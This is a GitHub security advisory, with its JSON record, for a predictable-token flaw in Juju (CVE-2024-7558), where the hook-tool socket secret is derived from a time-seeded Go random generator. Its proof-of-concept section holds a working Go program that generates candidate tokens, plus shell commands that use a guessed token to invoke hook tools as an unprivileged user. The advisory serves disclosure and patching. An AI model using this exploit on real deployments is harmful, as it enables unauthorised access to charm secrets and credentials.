ghsa-mh98-763h-m9v4
Vulnerability from github
Published
2024-10-03 16:49
Modified
2024-10-09 22:48
Summary
JUJU_CONTEXT_ID is a predictable authentication secret
Details

JUJU_CONTEXT_ID is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633.

This value looks fairly unpredictable, but due to the random source used, it is highly predictable.

JUJU_CONTEXT_ID has the following components: - the application name - the unit number - the hook being currently run - a uint63 decimal number

On a system the application name and unit number can be deduced by reading the structure of the filesystem. The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all. Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.

There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).

Impact

On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.

Patches

Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7 Patched in: - 3.5.4 - 3.4.6 - 3.3.7 - 3.1.10 - 2.9.51

Workarounds

No workaround. Upgrade will be required.

References

https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152 https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164

PoC

With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.

`` . |-- hooks |-- install

!/bin/sh

sleep 10000 |-- manifest.yaml bases: - name: ubuntu channel: 22.04/stable architectures: - amd64 |-- metadata.yaml name: sleepy summary: a sleepy charm description: a sleepy charm that sleeps on install `-- revision 1 ```

With sleepy deployed into a model, we have a unit with the name sleepy/0 and an tag of unit-sleepy-0.

With access to the log file we can very quickly get the start time of the unit: ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started' 2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started

If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now: nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log cat: unit-sleepy-0.log: Permission denied nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log File: unit-sleepy-0.log Size: 1403 Blocks: 8 IO Block: 4096 regular file Device: 10302h/66306d Inode: 25967076 Links: 1 Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm) Access: 2024-08-06 05:10:48.686975042 +0000 Modify: 2024-08-06 05:10:07.159133215 +0000 Change: 2024-08-06 05:10:07.159133215 +0000 Birth: 2024-08-06 05:10:06.965129276 +0000

We can then pass that into this program: ``` package main

import ( "flag" "fmt" "math/rand" "time" )

func main() { var unitName string var unitStartLogTime string var currentHook string flag.StringVar(&unitName, "u", "sleepy/0", "") flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log") flag.StringVar(&currentHook, "h", "install", "the current hook that is running right now") flag.Parse()

t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
if err != nil {
    panic(err)
}

sources := []rand.Source{
    rand.NewSource(t.Unix()),
    rand.NewSource(t.Unix() - 1),
    rand.NewSource(t.Unix() - 2),
}

for i := 0; i < 10; i++ {
    for _, source := range sources {
        fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
    }
}

} ```

This program will give us a list of JUJU_CONTEXT_IDs to try. We just need to try each one. In this case it was the first one, because we had enough information.

$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install sleepy/0-install-7349430268617352851 sleepy/0-install-2171542415131519293 sleepy/0-install-6564961386023494624 sleepy/0-install-59904244413115609 sleepy/0-install-6073989428498739633 sleepy/0-install-2504995199508561544 sleepy/0-install-1526670560532335303 sleepy/0-install-2568216045630615950 sleepy/0-install-8047402353801897930

Unfortunately, this worked too well. nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader True

With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.

Show details on source website


{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/juju/juju"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20240826044107-ecd7e2d0e986"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-7558"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1391",
      "CWE-337",
      "CWE-340"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-10-03T16:49:58Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "`JUJU_CONTEXT_ID` is the authentication measure on the unit hook tool abstract domain socket. It looks like `JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633`.\n\nThis value looks fairly unpredictable, but due to the random source used, it is highly predictable.\n\n`JUJU_CONTEXT_ID` has the following components:\n- the application name\n- the unit number\n- the hook being currently run\n- a uint63 decimal number\n\nOn a system the application name and unit number can be deduced by reading the structure of the filesystem.\nThe current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.\nFinally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.\n\nThere is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).\n\n### Impact\nOn a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.\n\n### Patches\nPatch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7\nPatched in:\n- 3.5.4\n- 3.4.6\n- 3.3.7\n- 3.1.10\n- 2.9.51\n\n### Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n|   `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n  - name: ubuntu\n    channel: 22.04/stable\n    architectures:\n      - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n  File: unit-sleepy-0.log\n  Size: 1403      \tBlocks: 8          IO Block: 4096   regular file\nDevice: 10302h/66306d\tInode: 25967076    Links: 1\nAccess: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
  "id": "GHSA-mh98-763h-m9v4",
  "modified": "2024-10-09T22:48:18Z",
  "published": "2024-10-03T16:49:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3173"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}


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